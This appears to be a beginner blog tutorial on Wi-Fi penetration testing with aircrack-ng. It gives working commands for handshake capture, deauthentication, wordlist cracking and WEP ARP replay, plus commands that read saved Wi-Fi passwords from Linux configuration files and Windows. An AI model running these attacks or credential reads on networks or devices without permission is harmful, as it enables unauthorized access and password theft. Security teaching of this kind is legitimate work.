505 words
3 minutes
How to Penetration Test a Wi-Fi Network

⚠️ Warning: Hacking unauthorized networks is a crime. Use this information only on your own networks or in legal challenges like Hack The Box. I am not responsible for any misuse.


🔍 Part One: Basics You Need to Know Before Starting#

1. What is Wi-Fi and How Does It Work?#

  • Wi-Fi: Data exchange wirelessly via radio waves (think “radio, but for the internet!”).
  • Access Point: The device that broadcasts the network (like a router).
  • Data Packets: Information sent between devices (like “secret messages” that can be intercepted by sniffing).

2. Types of Wi-Fi Encryption (and Can They Be Cracked?)#

TypeStrengthNotes
WEP❌ Very WeakCan be cracked within minutes!
WPA⚠️ ModerateRequires a long time
WPA2/WPA3✅ StrongVery difficult — requires an advanced attack

💻 Part Two: Wi-Fi Hacking Using Kali Linux (Aircrack-ng)#

Required Tools#

  1. Kali Linux — downloadable from kali.org
  2. Aircrack-ng — pre-installed in Kali
  3. A Wi-Fi adapter that supports Monitor Mode

Step 1: Enable Monitor Mode#

Terminal window
# Temporarily stop the Wi-Fi service
sudo systemctl stop NetworkManager
# Enable monitor mode on the Wi-Fi interface (example: wlan0)
sudo airmon-ng start wlan0

airmon-ng switches the network card from “normal connection” mode to “sniffing” mode, capturing all packets in range.


Step 2: Discover Available Networks#

Terminal window
# Scan nearby networks
sudo airodump-ng wlan0mon

What is displayed:

  • BSSID — The router’s MAC address
  • CH — The network channel
  • ESSID — The network name (e.g., STC_5G)

Step 3: Capture the Handshake#

Terminal window
# Focus on a specific network (replace BSSID and CH with actual values)
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 --write handshake wlan0mon

When a device connects to a network, it exchanges an encryption handshake with the router. Capturing it allows us to attempt to crack the password offline.


Step 4: Deauth Attack to Capture the Handshake#

Terminal window
# Force connected devices to reconnect
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon

This attack temporarily disconnects devices. When they reconnect, the handshake is captured.


Step 5: Crack the Password Using a Wordlist#

Terminal window
# Use Aircrack-ng to decrypt (replace handshake-01.cap with your filename)
sudo aircrack-ng handshake-01.cap -w /usr/share/wordlists/rockyou.txt

RockYou.txt is a famous wordlist containing millions of common passwords like password123.

Time required: Minutes to hours, depending on password strength.


📱 Part Three: Retrieving Saved Wi-Fi Passwords (No Special Tools)#

Some devices automatically store Wi-Fi passwords locally. These can be retrieved if you have access to the device.

On Linux#

Terminal window
# Search NetworkManager config files for stored passwords
sudo cat /etc/NetworkManager/system-connections/* | grep psk=

On Windows (No Software Needed)#

  1. Open Command Prompt (CMD) as Administrator
  2. Run:
Terminal window
netsh wlan show profile name="NetworkName" key=clear

Look for Key Content in the output — that’s the password in plain text.


🔥 Practical Example: Cracking a Weak WEP Network (In ~3 Minutes)#

Terminal window
# 1. Start monitor mode
sudo airmon-ng start wlan0
# 2. ARP Replay attack to increase data traffic
sudo aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h 66:77:88:99:AA:BB wlan0mon
# 3. Crack the encryption instantly (WEP is very weak)
sudo aircrack-ng output.cap

The password appears within minutes due to WEP’s fundamental cryptographic weaknesses.


Summary#

Wi-Fi security heavily depends on the encryption protocol used. WEP is effectively broken and should never be used. WPA2 with a strong, unique password remains the practical standard for most users, while WPA3 offers additional protections for newer devices.

This article is part of the “Cybersecurity from Scratch” series. Always practice ethical hacking in authorized environments only.